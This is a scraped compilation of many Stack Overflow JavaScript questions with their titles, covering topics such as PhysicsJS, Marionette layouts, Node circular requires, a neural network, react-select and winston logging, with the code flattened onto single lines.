received a very straightforward answer . This is just to let anyone interested to know what I did then ... Thanks to Jasper and dandelany I came to understand how some of PhysicsJS works much much better . To achieve my `` dream '' of using inputs in newtons , metres per second squared ( etc ) in PhysicsJS ( and also have configurable pixels per metre ratio ) I decided to create another integrator.It 's just a slight variation of the original ( and default ) verlet integrator.I explain it , more or less , at this ( crude ) article Metres , Seconds and Newtons in PhysicsJS return this .velocityDirection .mult ( mu * this.mass * g ) .negate ( ) ; var frictionForce ; frictionForce = vec2.create ( ) ; vec2.scale ( frictionForce , vec2.negate ( frictionForce , this.velocityDirection ) , mu * this.mass * g ) ; return frictionForce ;",Why gravity acceleration is 0.0004 in PhysicsJS ? "JS : In early versions of JavaScript , what was the rationale behind having the receiver ( aka context ) default to the global object ? function a ( ) { console.log ( this ) ; // window }",What was the rationale behind having the receiver in functions default to the global object ? JS : My application is an iframe app so when the user changes page they do not automatically get taken to the top . To combat this on page load I call I have found however on some rare cases I need to take the user to a specific part of the page . So I make a url with # anotherID on the end . Problem is currently they are taken to tophash on page load.What I need is if there is a hash within the url it does not run window.location.hash = 'tophash'So my question is ... how do I detech the presence of a # in the url ? window.location.hash = 'tophash ',javascript detect # in url "JS : My goalI need to create a custom layout ( a flow layout ) that can receive a variable numbers of views and based on them , it creates regions as necessary and within those regions it shows the views that are passed in . The views can be arranged vertically or horizontally.RequirementThe layout has a template where initially regions are not defined . It only contains a wrapper ( data-role= '' region-wrapper '' ) where added regions will be rendered.My approach.1 - Extend a Marionette.Layout ( obviously ) 2 - Ovveride the construtor like the following3 - Define the regions dynamically 4 - Render regions and views in onRender method within the same layoutThis solution seems working but I would like to know if I 'm following a valid one or not . Any other approach to follow ? constructor : function ( options ) { // call super here ... this.viewList= options.viewList || [ ] ; this._defineRegions ( ) ; // see 3 } _defineRegions : function ( ) { _.each ( this.viewList , function ( view , index ) { var name = 'flowRegion_ ' + index ; var definition = { selector : `` [ data-region='flow-region- '' + index + `` ' ] '' } ; this.addRegion ( name , definition ) ; } , this ) ; } , onRender : function ( ) { _.each ( this.viewList , function ( view , index ) { // if the view has not been instantiated , instantiate it // a region is a simple div element var $ regionEl = // creating a region element here based on the index // append the region here this. $ el.find ( `` [ data-role='flow-wrapper ' ] '' ) .append ( $ regionEl ) ; var region = this.getRegion ( index ) ; // grab the correct region from this.regionManager region.show ( view ) ; } , this ) ; }",Creating a layout that accepts a variable number of views ( and hence regions ) "JS : I am building an amateur rich text editor with vanilla JavaScript and document.execCommand ( ) is essential to enabling the core features of an text editor . For example bold , italic and unordered list commands : However , when looking up this command on MDN Web Docs , I saw that this command is considered to be obsolete : Obsolete This feature is obsolete . Although it may still work in some browsers , its use is discouraged since it could be removed at any time . Try to avoid using it.So , I 'm wondering are there any replacement method in vanilla JavaScript , that could create all the Rich Text Editor features like execCommand ( ) does ? The Google search gave me no results , so at the same time , I wonder , how is that possible that the method is announced to be obsolete , but no alternative is suggested . Array.from ( toolbarBtn ) .forEach ( btn = > { btn.addEventListener ( 'click ' , ( e ) = > { e.preventDefault ( ) ; if ( e.target.id === `` toolbar__btn -- bold '' ) { format ( 'bold ' ) ; } if ( e.target.id === `` toolbar__btn -- italic '' ) { format ( 'italic ' ) ; } if ( e.target.id === `` toolbar__btn -- unorderedlist '' ) { format ( 'insertunorderedlist ' ) ; } } ) ; } ) ;",Is there a replacement for document.execCommand ? ( or is it safe to use document.execCommand ? ) JS : Are there any side effects if i convert a string to a number like below.. If I check with the below code it says this is a number.. Please let me know if there are any concerns in using this method.. var numb=str*1 ; var str= '' 123 '' ; str=str*1 ; if ( ! isNaN ( str ) ) { alert ( 'Hello ' ) ; },Are there are any side effects of using this method to convert a string to an integer "JS : Update # 2Okay , more testing ensues . It looks like the code works fine when I use a faux spacer , but the regex eventually fails . Specifically , the following scenarios work : Select words above or below the a tagYou select only one line either directly above or below the a tagYou select more than one line above/below the a tagYou select more than one line specifically below any a tagThe following scenarios do not work : You select the line/more lines above the a tag , and then the line/more lines below the a tagWhat happens when it `` does n't work '' is that it removes the a tag spacer from the DOM . This is probably a problem with the regex ... Basically , it fails when you select text around the a tag.Update : I do n't need to wrap each line in a p tag , I can instead use an inline element , such as an a , span , or label tag , with display : inline-block and a height + width to act as a new line element ( < br / > ) . This should make it easier to modify the code , as the only part that should have to change is where I get the text in between the bounds . I should only have to change that part , selectedText.textContent , to retrieve the HTML that is also within the bounds instead of just the text.I am creating a Phonegap that requires the user to select text . I need fine control over the text selection , however , and can no longer plop the entire text content in a pre styled p tag . Instead , I need represent a linebreak with something like < a class= '' space '' > < /a > , so that the correct words can be highlighted precisely . When my text looks like this : And has .text { white-space : pre-wrap } , the following code allows me to select words , then wrap the text with span elements to show that the text is highlighted : This code works beautifully , but not when each line is separated by a spacer tag . The new text looks like this : When I modify the above code to work with have new lines represented by < a class= '' space '' > < /a > , the code fails . It only retrieves the text of the selection , and not the HTML ( selectedText.textContent ) . I 'm not sure if the regex will also fail with an a element acting as a new line either . The a element could be a span or label , or any normally inline positioned element , to trick iOS into allowing me to select letters instead of block elements.Is there anyway to change the code to preserve the new line elements ? jsFiddle : http : //jsfiddle.net/charlescarver/39TZ9/3/The desired output should look like this : If the text `` Line one '' was highlighted : If the text `` Line one Line two '' was highlighted : Of course different parts and individual letters can and will be highlighted as well instead of full lines . < p class= '' text '' > This is line oneLine twoLine three < /p > $ ( `` p '' ) .on ( `` copy '' , highlight ) ; function highlight ( ) { var text = window.getSelection ( ) .toString ( ) ; var selection = window.getSelection ( ) .getRangeAt ( 0 ) ; var selectedText = selection.extractContents ( ) ; var span = $ ( `` < span class='highlight ' > '' + selectedText.textContent + `` < /span > '' ) ; selection.insertNode ( span [ 0 ] ) ; if ( selectedText.childNodes [ 1 ] ! = undefined ) { $ ( selectedText.childNodes [ 1 ] ) .remove ( ) ; } var txt = $ ( '.text ' ) .html ( ) ; $ ( '.text ' ) .html ( txt.replace ( / < \/span > ( ? : \s ) * < span class= '' highlight '' > /g , `` ) ) ; $ ( `` .output ul '' ) .html ( `` '' ) ; $ ( `` .text .highlight '' ) .each ( function ( ) { $ ( `` .output ul '' ) .append ( `` < li > '' + $ ( this ) .text ( ) + `` < /li > '' ) ; } ) ; clearSelection ( ) ; } function clearSelection ( ) { if ( document.selection ) { document.selection.empty ( ) ; } else if ( window.getSelection ) { window.getSelection ( ) .removeAllRanges ( ) ; } } < p class= '' text '' > Line one < a class= '' space '' > < /a > Line two < a class= '' space '' > < /a > Line three < /p > < p class= '' text '' > < span class= '' highlight '' > Line one < /span > < a class= '' space '' > < /a > Line two < a class= '' space '' > < /a > Line three < /p > < p class= '' text '' > < span class= '' highlight '' > Line one < a class= '' space '' > < /a > Line two < /span > < a class= '' space '' > < /a > Line three < /p >",Insert character at specific point but preserving tags ? "JS : I keep getting this issue in Node where my application crashes whenever I 'm calling functions from one another.I 've made this minimum working example ( working as in it gives me the error ) : Start moduleModule2Module3The error I get is : The start module calls a function in module2 which ultimately calls for a function in module3 , which in turn calls for a function in module2.All modules are properly required and it finds the first method in module2 just fine.What 's happening here and how would one go about this pattern when one needs to get a function from the module one came with ? EDITDebugging shows me that the module exists , but it 's empty apart from the prototype it has . My question is why ? Inside of Node/JavaScript , what 's happening here ? var module2 = require ( './module2 ' ) ; var data = 'data ' ; module2.doStuff ( data ) ; var module3 = require ( './module3 ' ) ; function doStuff ( data ) { // Stuff happens to 'data ' module3.takeStuff ( data ) ; } function doSomethingElse ( data ) { console.log ( data ) ; } module.exports = { doStuff : doStuff , doSomethingElse : doSomethingElse } ; var module2 = require ( './module2 ' ) ; function takeStuff ( data ) { // Stuff happens to 'data ' module2.doSomethingElse ( data ) ; // I get the type error here } module.exports = { takeStuff : takeStuff } ; module2.doSomethingElse ( data ) ; // I get the type error here ^TypeError : undefined is not a function",'TypeError : undefined is not a function ' when jumping 'tween modules JS : Are those 2 components below identical ? What is the purpose is I 'm trying to do a wrapper to customize a component.does and { ... props } identical toconst { ... rest } = this.props ? const myComponent = ( props ) = > { return ( < OtherComponent { ... props } / > ) } class myComponent extends Component { const { ... rest } = this.props render ( ) { return < OtherComponent { ... rest } / > } },passing all props with class and stateless component "JS : I 'm trying to understand better what an async function in JavaScript is technically , even if I basically know how to use them.Many introductions to async/await make belive that an async function is basically just a promise , but that obviously is not the case ( at least not with Babel6-transpiled code ) : Still , it is definitely possible to await a promise , like await fooPromise ( ) .Is a async funtion a thing of it 's own and await is simply compatible with promises ? and , is there a way to distinguish between a simple function and an async function at runtime ( in a Babel-compatible way ) ? async function asyncFunc ( ) { // nop } var fooPromise = new Promise ( r = > setTimeout ( r , 1 ) ) ; console.clear ( ) ; console.log ( `` typeof asyncFunc is '' , typeof asyncFunc ) ; // functionconsole.log ( `` typeof asyncFunc.next is '' , typeof asyncFunc.next ) ; // undefinedconsole.log ( `` typeof asyncFunc.then is '' , typeof asyncFunc.then ) ; // undefinedconsole.log ( `` typeof fooPromise is '' , typeof fooPromise ) ; // objectconsole.log ( `` typeof fooPromise.next is '' , typeof fooPromise.next ) ; // undefinedconsole.log ( `` typeof fooPromise.then is '' , typeof fooPromise.then ) ; // function",technical difference between ES7 async function and a promise ? "JS : I 'm having trouble working out how to extend a static function ( momentjs ) so that I can override the methods , but without altering the original function.To be clear I know how to extend an instance of moment to override the functions , but I want to extend the library directly so I get my own named instance of moment that I can use in the same way as momentjs.As an example , I 'd like to be able to do the followingI 've tried a few options with copying the prototype etc , but editing the prototype of the new extendedMoment function seems to affect the original.Update : answered below by @ PatrickRoberts extendedMoment ( ) .customFunction ( ) //do something customextendedMoment ( ) .toString ( ) //use customised toString ( ) methodextendedMoment ( ) .format ( ) //use the original momentjs method",How do I extend ( with a new name ) a static function in javascript without affecting the original ? "JS : Using DocumentFramgment allows us to attach DOM elements to each other without causing a browser reflow ( i.e . work with offline DOM trees ) . A lot of libraries like jQuery use document fragments to improve performance.The document fragment can have a complicated structure . For example , let 's say it represents something like : or a document fragment that contains multiple children : Often , when we finish building the the fragment , we attach it to the main DOM tree.How many reflows happen when we do this ? Does it depend on the number of direct children of the document fragment ? Update : I got a response from Addy Osmani who is on the Chrome team at Google : Just one DOM reflow . PS : we 're moving more towards referring to reflow as layout as it 's basically an event triggering layout/repaint in the page . < div > < span > < a href='asd ' > asd < /a > < /span > < span > < a href='asd2 ' > asd2 < /a > < /span > < div > < div > Hello World < /div > < /div > < /div > < h2 > Title 1 < /h2 > < p > Lorem ipsum. < /p > < p > Lorem ipsum. < /p > < h2 > Title 2 < /h2 > < p > Lorem ipsum. < /p > < p > Lorem ipsum. < /p >",How many Reflows does attaching a DocumentFragment Cause ? "JS : I 've tried to rewrite neural network found here to javascript . My javascript code looks like this.Now I 'm trying to learn it how to resolve XOR problem . I 'm teaching it like this : The problem is that all results that I get is close to 0.5 and pretty random , no matter what arguments I use . For example : What can be wrong with my code ? function NeuralFactor ( weight ) { var self = this ; this.weight = weight ; this.delta = 0 ; } function Sigmoid ( value ) { return 1 / ( 1 + Math.exp ( -value ) ) ; } function Neuron ( isInput ) { var self = this ; this.pulse = function ( ) { self.output = 0 ; self.input.forEach ( function ( item ) { self.output += item.signal.output * item.factor.weight ; } ) ; self.output += self.bias.weight ; self.output = Sigmoid ( self.output ) ; } ; this.bias = new NeuralFactor ( isInput ? 0 : Math.random ( ) ) ; this.error = 0 ; this.input = [ ] ; this.output = 0 ; this.findInput = function ( signal ) { var input = self.input.filter ( function ( input ) { return signal == input.signal ; } ) [ 0 ] ; return input ; } ; } function NeuralLayer ( ) { var self = this ; this.pulse = function ( ) { self.neurons.forEach ( function ( neuron ) { neuron.pulse ( ) ; } ) ; } ; this.neurons = [ ] ; this.train = function ( learningRate ) { self.neurons.forEach ( function ( neuron ) { neuron.bias.weight += neuron.bias.delta * learningRate ; neuron.bias.delta = 0 ; neuron.input.forEach ( function ( input ) { input.factor.weight += input.factor.delta * learningRate ; input.factor.delta = 0 ; } ) } ) } } function NeuralNet ( inputCount , hiddenCount , outputCount ) { var self = this ; this.inputLayer = new NeuralLayer ( ) ; this.hiddenLayer = new NeuralLayer ( ) ; this.outputLayer = new NeuralLayer ( ) ; this.learningRate = 0.5 ; for ( var i = 0 ; i < inputCount ; i++ ) self.inputLayer.neurons.push ( new Neuron ( true ) ) ; for ( var i = 0 ; i < hiddenCount ; i++ ) self.hiddenLayer.neurons.push ( new Neuron ( ) ) ; for ( var i = 0 ; i < outputCount ; i++ ) self.outputLayer.neurons.push ( new Neuron ( ) ) ; for ( var i = 0 ; i < hiddenCount ; i++ ) for ( var j = 0 ; j < inputCount ; j++ ) self.hiddenLayer.neurons [ i ] .input.push ( { signal : self.inputLayer.neurons [ j ] , factor : new NeuralFactor ( Math.random ( ) ) } ) ; for ( var i = 0 ; i < outputCount ; i++ ) for ( var j = 0 ; j < hiddenCount ; j++ ) self.outputLayer.neurons [ i ] .input.push ( { signal : self.hiddenLayer.neurons [ j ] , factor : new NeuralFactor ( Math.random ( ) ) } ) ; this.pulse = function ( ) { self.hiddenLayer.pulse ( ) ; self.outputLayer.pulse ( ) ; } ; this.backPropagation = function ( desiredResults ) { for ( var i = 0 ; i < self.outputLayer.neurons.length ; i++ ) { var outputNeuron = self.outputLayer.neurons [ i ] ; var output = outputNeuron.output ; outputNeuron.error = ( desiredResults [ i ] - output ) * output * ( 1.0 - output ) ; } for ( var i = 0 ; i < self.hiddenLayer.neurons.length ; i++ ) { var hiddenNeuron = self.hiddenLayer.neurons [ i ] ; var error = 0 ; for ( var j = 0 ; j < self.outputLayer.neurons.length ; j++ ) { var outputNeuron = self.outputLayer.neurons [ j ] ; error += outputNeuron.error * outputNeuron.findInput ( hiddenNeuron ) .factor.weight * hiddenNeuron.output * ( 1.0 - hiddenNeuron.output ) ; } hiddenNeuron.error = error ; } for ( var j = 0 ; j < self.outputLayer.neurons.length ; j++ ) { var outputNeuron = self.outputLayer.neurons [ j ] ; for ( var i = 0 ; i < self.hiddenLayer.neurons.length ; i++ ) { var hiddenNeuron = self.hiddenLayer.neurons [ i ] ; outputNeuron.findInput ( hiddenNeuron ) .factor.delta += outputNeuron.error * hiddenNeuron.output ; } outputNeuron.bias.delta += outputNeuron.error * outputNeuron.bias.weight ; } for ( var j = 0 ; j < self.hiddenLayer.neurons.length ; j++ ) { var hiddenNeuron = self.hiddenLayer.neurons [ j ] ; for ( var i = 0 ; i < self.inputLayer.neurons.length ; i++ ) { var inputNeuron = self.inputLayer.neurons [ i ] ; hiddenNeuron.findInput ( inputNeuron ) .factor.delta += hiddenNeuron.error * inputNeuron.output ; } hiddenNeuron.bias.delta += hiddenNeuron.error * hiddenNeuron.bias.weight ; } } ; this.train = function ( input , desiredResults ) { for ( var i = 0 ; i < self.inputLayer.neurons.length ; i++ ) { var neuron = self.inputLayer.neurons [ i ] ; neuron.output = input [ i ] ; } self.pulse ( ) ; self.backPropagation ( desiredResults ) ; self.hiddenLayer.train ( self.learningRate ) ; self.outputLayer.train ( self.learningRate ) ; } ; } var net = new NeuralNet ( 2,2,1 ) ; var testInputs = [ [ 0,0 ] , [ 0,1 ] , [ 1,0 ] , [ 1,1 ] ] ; var testOutputs = [ [ 1 ] , [ 0 ] , [ 0 ] , [ 1 ] ] ; for ( var i = 0 ; i < 1000 ; i++ ) for ( var j = 0 ; j < 4 ; j++ ) net.train ( testInputs [ j ] , testOutputs [ j ] ) ; function UseNet ( a , b ) { net.inputLayer.neurons [ 0 ] .output = a ; net.inputLayer.neurons [ 1 ] .output = b ; net.pulse ( ) ; return net.outputLayer.neurons [ 0 ] .output ; } UseNet ( 0,0 ) = > 0.5107701166677714UseNet ( 0,1 ) = > 0.4801498747476413UseNet ( 1,0 ) = > 0.5142463167153447UseNet ( 1,1 ) = > 0.4881829364416052",Neural network in Javascript not learning properly "JS : I have the below statement that checks to see if any of the Divs with id # Drop are empty , if one is empty it shows an alert . however currently when any div has content inside it the statement no longer works.I guess what I 'm trying to say is that i want it so an alert shows up if ANY div is empty . There are 4 Divs in total and if any one of them is empty the alert message should appear , it does n't matter if for example 3 of the 4 have content the alert should trigger whenever there is an empty div.HTML : JS : < div id= '' Drop1 '' ondrop= '' drop ( event ) '' ondragover= '' allowDrop ( event ) '' > < /div > < div id= '' Drop2 '' ondrop= '' drop ( event ) '' ondragover= '' allowDrop ( event ) '' > < /div > < div id= '' Drop3 '' ondrop= '' drop ( event ) '' ondragover= '' allowDrop ( event ) '' > < /div > < div id= '' Drop4 '' ondrop= '' drop ( event ) '' ondragover= '' allowDrop ( event ) '' > < /div > $ ( `` # run '' ) .click ( function ( ) { if ( $ ( `` [ id^='Drop ' ] '' ) .html ( ) === `` '' ) { alert ( `` empty '' ) // ... } } ) ;",if any Div is empty do something JS : I googled about JavaScript decorators but I 'm not sure what the difference between calling a function using a decorator and calling a function normally is.myFunction ( ) vs @ myFunction vs @ myFunction ( ) I have a feeling I 'm more than wrong here . Can someone explain ? function myFunction ( text ) { console.log ( text ) },What 's the point of JavaScript decorators ? "JS : For the following code , why the propB of myObj is updated ? And why test.childObj does n't have the own property propB ? var myObj = { propA : `` , propB : [ ] } var fatherObj = { childObj : null , init : function ( ) { this.childObj = Object.create ( myObj ) ; this.childObj.propA = ' A ' ; this.childObj.propB.push ( 2 ) ; } } var test = Object.create ( fatherObj ) ; test.init ( ) ; console.log ( myObj.propB.length ) ; console.log ( test.childObj.hasOwnProperty ( 'propA ' ) ) ; console.log ( test.childObj.hasOwnProperty ( 'propB ' ) ) ;",How does the array property work in JS object "JS : https : //jsfiddle.net/vdr2r38r/Why is the behavior different for identical variables with different names ? < ! DOCTYPE html > < html > < body > < p id= '' demo1 '' > < /p > < p id= '' demo2 '' > < /p > < script > var status = [ true , false , true , false , true , false , true , false , true , false ] ; var status1 = [ true , false , true , false , true , false , true , false , true , false ] ; document.getElementById ( `` demo1 '' ) .innerHTML = status [ 2 ] ; document.getElementById ( `` demo2 '' ) .innerHTML = status1 [ 2 ] ; < /script > < /body > < /html >",strange behaviour of variable named `` status '' in javascript JS : I have a simple div.I made its border transparent using the code below : I want to make the div 's border to blue when the mouse pointer is on hover . Below is my css code : My css code does not work.It does not change color when hovered by the mouse pointer . It stays transparent . Why ? < div id= '' sample '' > < /div > var sample_div = document.getElementById ( 'sample ' ) ; sample_div.style.borderColor = 'transparent ' ; # sample : hover { border : 1px solid blue ; border-color : blue ; },Change Div 's Border During Hover "JS : I 'm trying to use one of Ember 's checkbox input helpers which is placed inside a div with an action assigned to it . The problem I 'm having is that now clicking the checkbox does n't work correctly and instead the container 's action helper is called . I created a fiddle to show this in action . Does anyone know how I can prevent this ? I 'd like for clicking the checkbox to update its bound value.While clicking outside the checkbox container should trigger the action associated with the container . With general purpose actions you can set bubbles=false but this does n't seem to work with input helpers . Thanks ! App.MyCheckboxComponent = Ember.Component.extend ( { isSelected : false , actions : { containerClicked : function ( e ) { alert ( 'container clicked ' ) ; } } } ) ;",Ember checkbox input helper "JS : Demo at Jsfiddlehttp : //jsfiddle.net/hc046u9u/What confused me the most is the icons are not implemented by class attribute ( like < i class= '' icon-add '' > < /i > or < i class= '' icon-reply '' > < /i > ) , but by the inner text of the < i > node.When I view the < i > node in the developer tool of chrome , they look almost the same and seem indistinguishable for CSS selector.If the icon is set by the inner text , how could CSS asign different icons for these < i > nodes ? Another thing that I could not understand is how these icons are implemented ( icon font , PNG or SVG ) . It seems that they are implemented by icon font , but I ca n't find any CSS declaration like : If the icons is not implemented by the : before selector and content attribute , how are they implemented ? < link href= '' https : //fonts.googleapis.com/icon ? family=Material+Icons '' rel= '' stylesheet '' > < link rel= '' stylesheet '' href= '' https : //cdnjs.cloudflare.com/ajax/libs/materialize/0.97.0/css/materialize.min.css '' > < script src= '' https : //ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js '' > < /script > < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/materialize/0.97.0/js/materialize.min.js '' > < /script > < i class= '' material-icons '' > add < /i > < i class= '' material-icons '' > replay < /i > .fa-flag : before { content : `` \f024 '' ; }","In CSS/JavaScript , how is this icon/font plugin implemented ?" JS : How change the bevel size of 3d text in x3dom ? Now i have code like thisIs there any sample code available for this ? < x3d width= '' 392px '' height= '' 392px '' > < scene > < viewpoint position= ' 0 0 11 ' > < /viewpoint > < background skyColor= ' 0.5 0.5 0.5 ' > < /background > < shape > < appearance > < material ambientIntensity= ' 0.0933 ' diffuseColor= ' 0.32 0.54 0.26 ' shininess= ' 0.51 ' specularColor= ' 0.46 0.46 0.46 ' > < /material > < /appearance > < text string='Mono bolditalic 32px ' solid='false ' > < fontstyle family= '' TYPEWRITER '' style= '' BOLDITALIC '' size= '' 0.8 '' > < /fontstyle > < /text > < /shape > < transform translation= ' 0 0 -2 ' > < shape > < appearance > < material diffuseColor= '' 1 0 0 '' specularColor= '' 0.5 0.5 0.5 '' > < /material > < /appearance > < box > < /box > < /shape > < /transform > < /scene > < /x3d >,How change the bevel size of 3d text in x3dom ? "JS : I made a minesweeper game in javascript , which was finally running pretty smoothly , until i added the `` expand ( ) '' function ( see below ) . I have 3 issues : When it expands it adds too many to `` flippedCount '' ( see code below ) - in the image below the div to the right displays `` flippedCount '' , and its 39 instead of 35.As a result , if a player exceeds 90 squares ( amount to win ) during a `` expand ( ) '' , the winning screen doesnt show.It also doesnt expand properly ( see images below ) .The relevant code and a link is below these 2 imagesI was not able to find a pattern with the lack of expansion or numbers added to flipped count.link herep.s . sorry about the title i dont know what else to call it var flippedCount = 0 ; var alreadySetAsZero = [ ] ; var columnAmount = 10 ; function processClick ( clicked ) { //i use a `` ( this ) '' to pass as `` ( clicked ) '' nextToBombCheck ( parseInt ( clicked.id ) ) ; checkWin ( ) ; } nextToBombCheck ( boxNum ) { flippedCount++ ; document.getElementById ( `` flipped '' ) .innerHTML = flippedCount ; //long function setting `` bombCount '' to # bombs around clicked square goes here if ( bombCount ! == 0 ) { //blah blah blah } else { alreadySetAsZero [ boxNum ] = `` yes '' ; expand ( boxNum ) ; } } function expand ( emptyBoxId ) { checkRightOfEmpty ( emptyBoxId + 1 ) ; checkLeftOfEmpty ( emptyBoxId - 1 ) ; checkAboveEmpty ( emptyBoxId - columnAmount ) ; checkBelowEmpty ( emptyBoxId + columnAmount ) ; } function checkRightOfEmpty ( boxToTheRightId ) { //check if already marked as zero if ( alreadySetAsZero [ boxToTheRightId ] === `` yes '' ) return ; //if box is at the edge if ( boxToTheRightId % columnAmount === ( 0 ) ) { //do nothing } else { nextToBombCheck ( boxToTheRightId ) ; } } //and the rest are 3 similar functions",javascript minesweeper expand messing up counter "JS : I am using react-select library to implement search and select functionality in my project.As a basic usage , I can only select the options returned after the search . It looks like this whose code is : Now , I want a button at the lower end of the select box so that I can do like 'Not found ? Add New ' type of stuff . Something like this . I also want that button 's onClick function to be my own.How can I do this ? < AsyncSelect onChange= { ( item ) = > _selectedItemChange ( item ) } loadOptions= { loadItemOptions } placeholder='Start typing ' / >",Append a button at the end of options in react-select "JS : I 'm trying to hide a a div if a specific text is displayed in a span . I 'm using jquery and this is the code : HTMLjQueryIt hides the div on click , but it ignores the if statement . So even if the text in the span was 'cat ' it still hides the div . Can anybody spot what I 've done wrong ? Also as the # cartCoupon button has the onclick event dicountForm.submit ( false ) ; the deliveryUpsellText is being hidden on click but it 's not bound to the form submit so it shows again once the form has been submitted . Anybody know how I can fix that ? < div class= “ deliveryUpsellText ” > < p > blabla < /p > < /div > < ul > < li class= “ error-msg ” > < ul > < li > < span > Coupon Code “ blabla ” is not valid < /span > < /li > < /ul > < /li > < /ul > < button type= '' button '' id= '' cartCoupon '' title= '' Apply Coupon '' class= '' button applycouponhide '' onclick= '' discountForm.submit ( false ) ; `` value= '' Apply Coupon '' > < span style= '' background : none ; '' > < span style= '' background : none ; '' > Apply < /span > < /span > < /button > $ j ( ' # cartCoupon ' ) .click ( function ( ) { if ( $ j ( `` .error-msg span : contains ( 'blabla ' ) '' ) ) { $ j ( '.deliveryUpsellText ' ) .css ( { `` display '' : '' none '' } ) ; } } ) ;",hide div if specific text is displayed in span "JS : What is the logic behind 42..toString ( ) with .. ? The double dot works and returns the string `` 42 '' , whereas 42.toString ( ) with a single dot fails.Similarly , 42 ... toString ( ) with three dots also fails.Can anyone explain this behavior ? console.log ( 42..toString ( ) ) ; console.log ( 42.toString ( ) ) ;",Why does a method like ` toString ` require two dots after a number ? "JS : I have an element on my page that is toggled on and off by clicking on a text link . I also need the element to hide when a user clicks ANYWHERE on the page outside of the element itself - this is my jQuery code - can someone please show me what modifications to make to do what I need ? $ ( function ( ) { $ ( `` # header-translate ul li '' ) .click ( function ( ) { $ ( `` # header-translate li ul '' ) .toggle ( `` slide '' , { direction : `` up '' } , 500 ) ; } ) ; } ) ;",Close Element when clicking anywhere on page "JS : I have the following winston configuration : None of this files are rotating after they reach the 300 bytes threshold . 'use strict'import winston from 'winston'import config from '../../config/environment'export default winston.createLogger ( { level : 'info ' , format : winston.format.printf ( info = > info.message ) , transports : [ new winston.transports.Console ( ) , new winston.transports.File ( { filename : ` $ { config.logsPath } /express.error.log ` , maxsize : 300 , level : 'error ' } ) , new winston.transports.File ( { filename : ` $ { config.logsPath } /express.log ` , maxsize : 300 } ) ] } )",Winston js . My log files are n't rotating after exceeding maxsize "JS : I 've added a +1 button in my app : I 've used this code : andI 've also allowed the api : index.html : config.xml : The problem : This works on the browser ( ionic serve ) but It does n't work on the app ... When I click nothing happens ... ( no errors ... ) Anyway I can make this work on the app ? ( ionic run ) More information/debug info : If I 've clicked the +1 button on the web it does n't show me the red button on the app ( Read means I 've already shared that link ) ( It does n't know who I am.. ) I do n't want to make a login/signup , just a +1 button ... If I add : in config.xml , it asks me to login when I click the +1 button : ( It should n't ) This means the +1 button does n't work because is `` in an anonymous browser '' , not authenticated with the OS ... I also created a demo pure Android app following this instructions : https : //developers.google.com/+/mobile/android/recommendIt works perfectly ... ( I can +1 the link ... ) My possibilites : Some way to make a native Android view with the +1 button appear on the webview.Make a fake +1 button and when it 's clicked it calls a plugin that makes some king of request/click on the real +1 button ... .Any suggestion on how to do it ? Are any of these two possibilities possible ? Thanks for your help ! < div class= '' g-plusone '' data-size= '' tall '' data-href= '' GOOGLE PLAY STORE LINK TO MY APP '' > < /div > ( function ( ) { var po = document.createElement ( 'script ' ) ; po.type = 'text/javascript ' ; po.async = true ; po.src = 'https : //apis.google.com/js/platform.js ' ; var s = document.getElementsByTagName ( 'script ' ) [ 0 ] ; s.parentNode.insertBefore ( po , s ) ; } ) ( ) ; < meta http-equiv= '' Content-Security-Policy '' content= '' default-src * ; style-src 'self ' 'unsafe-inline ' ; script-src 'self ' 'unsafe-inline ' 'unsafe-eval ' https : //apis.google.com '' > < allow-navigation href= '' https : //apis.google.com '' / > < allow-navigation href= '' * '' / >",How to place a Google Plus +1 button inside cordova/ionic app ? "JS : Programming is about making decisions about how to implement any piece of code . Depending of such decisions , the code will be more or less readable , efficient , complex , etc . A common decision is also about to do it more or less idiomatic , that is , using specific statements or your programming language or paradigm.As a proof of concept I have developed two code snippets , in Javascript , to analyze the performance . The goal is to generate a string in the form tagA|tagB|tagC where then number of tagX is random and the suffixes A , B , C are random integers . Moreover , tagX can not be repeated.First implementation is more idiomatic , whereas the second one is more traditional . Next the code snippets of each one : Idiomatic : TraditionalTo measure the performance I have used the Performance Timing APIThe results are a bit surpraising , at least for me . Note how the traditional way is so much efficient than the other one.I have repeated the experiment several times with similar resultsIdiomatic way looks pretty cool and shorter , but it is less efficient and hard to read.What do you think about it ? Does it worth using idiomatic programming instead of traditional ? Is there a general answer or it is strongly dependent of each case ? What about code readability and complexity ? EDITED : tagX can not be repeated.EDITED : just for reference , I have uploaded the complete code to Github : https : //github.com/aecostas/benchmark-js-looping performance.mark ( ' A ' ) ; let tags = new Set ( Array.from ( { length : tagCount } , ( ) = > Math.floor ( Math.random ( ) * 10 ) ) ) ; tags = Array.from ( tags ) .map ( x = > ` tag $ { x } ` ) .join ( '| ' ) ; performance.mark ( ' B ' ) ; performance.mark ( ' C ' ) ; let tagset = new Set ( ) ; let tagstr = `` '' ; for ( let tag=0 ; tag < tagCount ; tag++ ) { tagset.add ( Math.floor ( Math.random ( ) * 10 ) ) ; } tagset.forEach ( ( tag ) = > { tagstr += 'tag ' + tag + '| ' } ) ; tagstr = tagstr.slice ( 0 , -1 ) ; performance.mark ( 'D ' ) ; Idiomatic : 0.436535Traditional : 0.048177",Is it worth idiomatic programming ? An ES6 example "JS : If f : : a - > b - > c is curried then uncurry ( f ) can be defined as : uncurry : : ( a - > b - > c ) - > ( ( a , b ) - > c ) I 'm trying to implement the above function in javascript . Is my below implementation correct and generic enough or are there are any better solution ? const uncurry = f = > { if ( typeof f ! = `` function '' || f.length == 0 ) return f ; return function ( ) { for ( let i = 0 ; i < arguments.length ; i++ ) { f = f ( arguments [ i ] ) ; } return f ; } ; } const curry = f = > a = > b = > f ( a , b ) ; const curriedSum = curry ( ( num1 , num2 ) = > num1 + num2 ) ; console.log ( curriedSum ( 2 ) ( 3 ) ) ; //5console.log ( uncurry ( curriedSum ) ( 2 , 3 ) ) ; //5",Uncurry a curried function of n parameters in javascript "JS : I have a custom array class that extends the base array class . I have a custom method for ease of useHowever the existing methods of filter , map etc return an instance of an array . I would like to return an instance of ExampleArray with these methods.I can find the interface for these methods , but not their implementation . How do I call the parent method and return my custom EampleArray instead ? Something like the followingOr is this even the correct way to extend an Array to make a custom array ? export class ExampleArray extends Array { includesThing ( thing ) { ... return false } } export class ExampleArray extends Array { filter ( ) { result = Array.filter ( ) array = new ExampleArray ( ) array.push ( ... result ) return array }",Extend base Array class in JavaScript "JS : I noticed an interesting result from JSLint while researching a codereview question . JSLint complained that a variable was used before it was defined . Here is a shortened version of code that produces the same result : My understanding of 